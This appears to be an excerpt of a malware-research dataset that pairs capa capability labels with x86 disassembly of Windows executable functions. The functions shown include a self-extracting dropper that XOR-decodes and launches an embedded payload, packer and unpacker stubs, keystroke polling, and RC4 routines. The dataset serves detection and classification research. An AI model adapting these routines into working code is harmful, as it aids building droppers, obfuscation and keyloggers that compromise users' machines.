joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]

Function at 0x414de0
Capabilities:
Encode data using xor

Disassembly:
xor dword [edi], edx
add esi, 0xe064faee
add eax, 1
add edi, 4
sub esi, 0x891a6b1e
cmp edi, ecx
jne fcn.00414de0
dec eax
ret
Function at 0x402240
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404144], eax
mov ecx, ebp
add ecx, 8
mov dword [0x4040e2], ecx
mov dword [0x404148], 0x30
mov dword [0x40414c], 2
mov dword [0x404154], 0
mov dword [0x404158], 0
mov dword [0x404150], 0x4025d0
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x40415c], eax
mov dword [0x404168], 0xf
mov dword [0x404170], 0x40386b
mov dword [0x4040da], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x404160], eax
mov dword [0x404174], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x404164], eax
push 0x404148
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x4040da]
push 0
push 0
push 0x24e
push 0x320
push 0xd8
push 0xa0
push 0x40000
push str.myform
push 0x40386b
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x40413c], eax
xor eax, eax
jmp 0x40232b
push eax
push dword [0x40413c]
call dword [sym.imp.user32.dll_ShowWindow]
jmp loc.00408320
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
mov ecx, 0x7f6e6e4d
nop
nop
nop
nop
test eax, eax
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
mov ecx, 0x8d6484d
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x431084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x44212d
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x44215b
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x442179
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00442097
jmp 0x442179
mov eax, dword [esi + 0x14]
test eax, eax
je 0x442179
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.00442097
test edi, edi
mov eax, edi
jne 0x442163
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x56c32c]
test ecx, ecx
je 0x44222c
jmp 0x44212c
ret 8

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e072
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x32041f5e
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x42e060
mov eax, section..text
nop
nop
nop
nop
cmp eax, 0
nop
je 0x42e0d2
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x268952f0
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x1d637910
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..tls
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x50ed6296
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x40f080
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40b015
lea edi, [esi - 0xa015]
push edi
or ebp, 0xffffffff
jmp 0x40f0a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40f0a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40f098
mov eax, 1
add ebx, ebx
jne 0x40f0bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40f0b0
jne 0x40f0cc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f0b0
xor ecx, ecx
sub eax, 3
jb 0x40f0e0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40f152
mov ebp, eax
add ebx, ebx
jne 0x40f0eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40f0f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40f11c
inc ecx
add ebx, ebx
jne 0x40f108
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40f0fd
jne 0x40f119
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f0fd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40f13c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40f12d
jmp 0x40f09e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40f13c
add edi, ecx
jmp 0x40f09e
pop esi
mov edi, esi
mov ecx, 0x265
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40f15a
cmp byte [edi], 2
jne 0x40f15a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x40f15f
lea edi, [esi + 0xd000]
mov eax, dword [edi]
or eax, eax
je 0x40f1ce
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xf000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xf064]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40f18c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xf068]
or eax, eax
je 0x40f1c8
mov dword [ebx], eax
add ebx, 4
jmp 0x40f1a9
call dword [esi + 0xf06c]
popal
jmp 0x40354a

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x7498491b
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
mov ecx, 0x5a884f51
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x422c30
Capabilities:
Create pipe

Disassembly:
sub esp, 0x41c
mov eax, dword [0x42f004]
xor eax, esp
mov dword [esp + 0x418], eax
mov eax, dword [esp + 0x420]
mov eax, dword [eax]
push ebx
mov ebx, dword [0x433b34]
push edi
mov edi, dword [0x435fb4]
call fcn.00422b70
cmp dword [0x435fb4], 0x2f
jne 0x422cc4
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x18]
push edx
push 0
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
call fcn.00422ba0
mov ecx, dword [esp + 0x420]
pop edi
pop ebx
xor ecx, esp
call fcn.0040126c
add esp, 0x41c
ret
Function at 0x423160
Capabilities:
Get disk information

Disassembly:
mov eax, dword [0x435fb4]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemTimes]
push edi
mov ebx, 0x1519af
mov edi, 0x8e46a6f0
jmp 0x423180
mov dword [0x435c1c], edi
cmp eax, 0x3dc
jne 0x42319a
push 0
push 0
push 0
call esi
mov eax, dword [0x435fb4]
dec ebx
jne 0x423180
mov edi, dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
xor esi, esi
jmp 0x4231b0
cmp eax, 0xa5f
jne 0x4231d2
push 0
call edi
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call ebx
mov eax, dword [0x435fb4]
cmp esi, 0x846143
jne 0x4231e9
mov eax, dword [0x430bf0]
add eax, 0xa231
mov dword [0x435fb4], eax
cmp eax, 0x141
jne 0x423204
mov dword [0x4322c0], 0xec58acac
mov dword [0x4322c4], 0xffffffff
inc esi
cmp esi, 0x12d12ba
jl 0x4231b0
call fcn.00422ce0
pop edi
pop esi
xor eax, eax
pop ebx
ret 0x10

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x22156586
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x432060
mov eax, section..text_1
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4320d2
nop
mov ebx, 0x42f314
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x64315b32
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x6238fe00
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcr90.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [esp + 0x24]
mov dword [esp + 4], 1
mov dword [esp], 0x62392a24
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcr90.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcr90.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcr90.dll_vfprintf
call sub.msvcr90.dll_abort
jmp fcn.6238fe60
Function at 0x623907f0
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x62390828
xor edx, edx
nop
mov ecx, dword [eax + 0xc]
cmp ecx, ebx
ja 0x6239081e
add ecx, dword [eax + 8]
cmp ebx, ecx
jb 0x6239082a
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x62390810
xor eax, eax
pop ebx
pop esi
ret
Function at 0x411b20
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x492e0b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00487210
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x411ba2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0048482d
mov eax, dword [eax]
push 0x52b1f0
push eax
call fcn.004766e4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0048749b
test bl, bl
je 0x411ba2
push 0x52b1f0
lea ecx, [esp + 0xc]
call fcn.0048782b
push 0x52edec
lea ecx, [esp + 0xc]
call fcn.0048782b
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x411bde
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0048749b
jmp 0x411ca9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x411c62
lea edx, [esp + 0x7c]
push 0x52ede8
push edx
call fcn.004766e4
add esp, 8
test eax, eax
je 0x411c62
lea eax, [esp + 0x7c]
push 0x52ede4
push eax
call fcn.004766e4
add esp, 8
test eax, eax
je 0x411c62
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x411bf2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0048749b
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x413390
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4133f2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x413400
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x492fab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x56b010]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x413538
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x413466
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048749b
xor eax, eax
jmp 0x4135af
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004875d8
push esi
lea ecx, [esp + 0xc]
call fcn.00487867
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x52ee24
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41358d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00413390
test eax, eax
jne 0x41358d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00413390
test eax, eax
jne 0x41358d
lea eax, [esp + 0x14]
push str.__1_
push eax
call fcn.00477720
mov esi, eax
add esp, 8
test esi, esi
jne 0x41356c
lea ecx, [esp + 0x14]
push 0x52edfc
push ecx
call fcn.004776a0
mov esi, eax
add esp, 8
test esi, esi
jne 0x41356c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41356f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00487588
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41347e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048749b
xor eax, eax
jmp 0x4135af
mov byte [esi], 0
push 0x52edf8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0048749b
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4289b0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x428a1e
cmp si, 0x69
ja 0x428a1e
add esi, 0xffd0
cmp si, 0x11
je 0x4289ee
push 0x11
call edi
test ax, ax
jge 0x4289ee
or esi, 0x2000
cmp si, 0x10
je 0x428a03
push 0x10
call edi
test ax, ax
jge 0x428a03
or esi, 0x4000
cmp si, 0x12
je 0x428a18
push 0x12
call edi
test ax, ax
jge 0x428a18
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x428a2b
mov esi, 0xbd
jmp 0x4289df
cmp si, 0x6e
jne 0x428a38
mov esi, 0xbe
jmp 0x4289df
cmp si, 0x6f
jne 0x4289d9
mov esi, 0xbf
jmp 0x4289df

Function at 0x42a160
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x57b778]
xor edx, edx
cmp eax, edx
jne 0x42a186
xor eax, eax
mov byte [eax + 0x57b678], al
inc eax
cmp eax, 0x100
jl 0x42a16e
mov dword [0x57b778], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x57b678
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x42a217
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42a1ea
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x42a1b8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x42a290
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x42a2e3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42a2ca
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret